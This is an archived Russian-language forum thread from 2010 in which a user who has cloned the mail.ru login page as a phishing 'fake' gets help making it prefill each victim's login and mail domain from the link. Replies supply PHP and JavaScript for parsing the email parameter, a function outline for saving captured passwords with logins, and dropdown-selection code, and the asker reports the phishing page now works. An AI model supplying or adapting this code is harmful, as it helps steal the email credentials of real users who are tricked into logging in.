Просмотр полной версии : Нужна помощь (php)
TambWolf
10.06.2010, 13:54
Есть фейк. Делал со страницы
http://win.mail.ru/cgi-bin/login?email=&fail=1
Фейк получился на ура, но есть одна проблема.
Не хватает такой фишки как:
http://win.mail.ru/cgi-bin/login?email=666@bk.ru&fail=1
http://win.mail.ru/cgi-bin/login?email=777@mail.ru&fail=1
Т е чтобы клетка логин не оставалась пустая, а вписывала автоматически логин жертвы, пробывал вписать:
МойСайт.Ру/login?email=666@bk.ru&fail=1 ошибка, однако:
МойСайт.Ру/?email=666@bk.ru&fail=1 грузит
Но поле остается пустым. Можно конечно прописать заместо пустого поле любой логин, но тогда тогда все пользователи увидят один и тот же логин.
В общем нужно
МойСайт.Ру/?email=666@bk.ru&fail=1
666 это прописывался в логине, а бк в выборе сервера. (так же как на официальном сайте)
Пытался что то сделать с index.php, но не нашел такого..
Думал создать отдельный php для каждого адреса, чтобы сам прописывал поле логин на главной страницы...
.::f-duck::.
10.06.2010, 14:36
Делаешь ф-цию,1 параметр - логин делаешь с значением по умолчанию и дальше,как обычно.
Т.е. в ф-цию весь свой скрипт фейка (пхп) вставляешь.
А логин делай рандомно.
TambWolf
10.06.2010, 14:53
как? Понятней напиши, я не специалист... только любитель..
ф-цию это что?... Где это все делать куда вставлять...
.::f-duck::.
10.06.2010, 14:58
Мда. Программисты хреновы.
Функция - подпрограмма.
function functName([argument])
{
body;
}
Вот,в аргументе передаешь переменную,вида:
function fake(login) //Логин - пост запрос 4_ПОСТлогин
{
if(!trim(login))
{
$login = "blablablab";
//формируешь новую ссылку + сохраняешь пароль с логином
} else {
//Формируешь ссылку + сохрн. пассы с логином
}
}
http://www.php.ru/forum/
http://www.php.ru/manual/
TambWolf
10.06.2010, 15:15
Это делать все в index.php или в другом, который будет выполнять этот запрос...
//формируешь новую ссылку + сохраняешь пароль с логином
как их формировать и зачем сохранять пароль с логином
//Формируешь ссылку + сохрн. пассы с логином
тоже самое
ссылку на фейк что ли формировать? И что такое 4_ПостЛогин..
Извините за тупые вопросы.. Но я вообще не программист, первые дни общаюсь с php.
Прошу объяснить подробно.
.::f-duck::.
10.06.2010, 15:22
Это делать все в index.php или в другом, который будет выполнять этот запрос...
//формируешь новую ссылку + сохраняешь пароль с логином
как их формировать и зачем сохранять пароль с логином
//Формируешь ссылку + сохрн. пассы с логином
тоже самое
ссылку на фейк что ли формировать? И что такое 4_ПостЛогин..
Извините за тупые вопросы.. Но я вообще не программист, первые дни общаюсь с php.
Прошу объяснить подробно.
Эм,ну,тогда лучше поучи хоть чуть-чуть что-то сам. Яхз,какой ты там любитель,если,даже,не знаешь,что такое функция.
Почитай основы,поймешь.Честно-честно! :o
TambWolf
10.06.2010, 15:29
Функция понятно, но Вы же написали ф-цию, я в первый раз вижу такие сокращения.. Блин помоги, я зашел не знаю что читать.. Там нет ни запросов, ничего подобного (, т е где то есть но где...
if (!empty($_GET['email']))
{
$email = explode('@', $_GET['email']);
$username = $email[0];
$domain = $email[1];
}
В итоге у нас в $username будет лежать логин
(в нужном input'e - value=<? echo $username; ?>)
А в $domain - домен.
TambWolf
10.06.2010, 15:47
Блин, я только спрашиваю, где этот код прописать...
TambWolf
11.06.2010, 00:18
FindeR,
Я вроде на пути к истине... В общем я вписал код:
<?php
if (!empty($_GET['email']))
{
$email = explode('@', $_GET['email']);
$username = $email[0];
$domain = $email[1];
}
?>
в файл index.php и логин заработал! Но вот mail/bk/inbox/list меняться не хочет, хотя я прописал:
<td width=37%><select class=w_100 name="Domain"><option value="<? echo $domain; ?>" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td>
Не подскажите, где я накосячил?
Как вариант:
<select>
<option id="inbox">mail</option>
<option id="inbox">inbox</option>
<option id="bk">bk</option>
<option id="list">list</option>
</select>
Рисуем выпадающий список.
Теперь симбиоз яваскрипта и php:
<?
if (!empty($domain))
{ ?>
<script>
document.getElementById('<? echo $domain; ?>').selected = true;
</script>
<? } ?>
Т.е. проверяем опять же $domain - если не пустая, то делаем активной пункт выпадающего меню, у которого id такой же, как значение $domain. Главное этот скрипт после меню вставлять и задать пунктам правильные id.
Правда, в некоторых случаях IE может обидеться на такой код, но работать будет ;)
TambWolf
11.06.2010, 01:10
<select>
<option id="inbox">mail</option>
<option id="inbox">inbox</option>
<option id="bk">bk</option>
<option id="list">list</option>
</select>
Поправил на
<select>
<option id="mail.ru">@mail.ru</option>
<option id="inbox.ru">@inbox.ru</option>
<option id="bk.ru">@bk.ru</option>
<option id="list.ru">@list.ru</option>
</select>
Потом выложил скрипт.
Были трудности, но они позади...
Все работает!!! Большое спасибо!!!
FindeR Респект!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot